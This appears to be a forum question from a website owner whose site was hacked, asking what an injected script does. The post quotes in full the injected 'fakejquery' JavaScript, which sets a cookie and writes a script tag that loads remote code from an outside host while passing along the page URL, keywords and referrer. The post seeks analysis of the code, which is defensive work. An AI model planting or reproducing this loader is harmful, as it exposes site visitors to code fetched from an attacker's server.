Recently my site was hacked, the attackers managed to upload a webshell to the site, however everything was controlled and the site is safe again.
Now eset nod32 I detected a trojan fakejquery
, investigating a bit I could see that in the header of the page the following script has been inserted:
<script>
var a = '';
setTimeout(1);
function setCookie(a, b, c) {
var d = new Date;
d.setTime(d.getTime() + 60 * c * 60 * 1e3);
var e = "expires=" + d.toUTCString();
document.cookie = a + "=" + b + "; " + e
}
function getCookie(a) {
for (var b = a + "=", c = document.cookie.split(";"), d = 0; d < c
.length; d++) {
for (var e = c[d];
" " == e.charAt(0);) e = e.substring(1);
if (0 == e.indexOf(b)) return e.substring(b.length, e.length)
}
return null
}
null == getCookie("__cfgoid") && (setCookie("__cfgoid", 1, 1), 1 ==
getCookie("__cfgoid") && (setCookie("__cfgoid", 2, 1), document.write(
'<script type="text/javascript" src="' +
'http://crazytime.home.pl/js/jquery.min.php' + '?key=b64' +
'&utm_campaign=' + 'I92930' + '&utm_source=' + window.location.host +
'&utm_medium=' + '&utm_content=' + window.location +
'&utm_term=' + encodeURIComponent(
((k = (function() {
var keywords = '';
var metas = document.getElementsByTagName('meta');
if (metas) {
for (var x = 0, y = metas.length; x < y; x++) {
if (metas[x].name.toLowerCase() == "keywords") {
keywords += metas[x].content;
}
}
}
return keywords !== '' ? keywords : null;
})()) == null ? (v = window.location.search.match(
/utm_term=([^&]+)/)) == null ? (t = document.title) == null ?
'' : t : v[1] : k)) + '&se_referrer=' + encodeURIComponent(
document.referrer) + '"><' + '/script>')));
</script>
From what I understand the previous script is generating traffic to an external site.
I've already removed all this code from the site, but I'm left wondering what this code really does.
My question is: Am I right in thinking that traffic is being generated to an external site, or does the code shared above do something extra?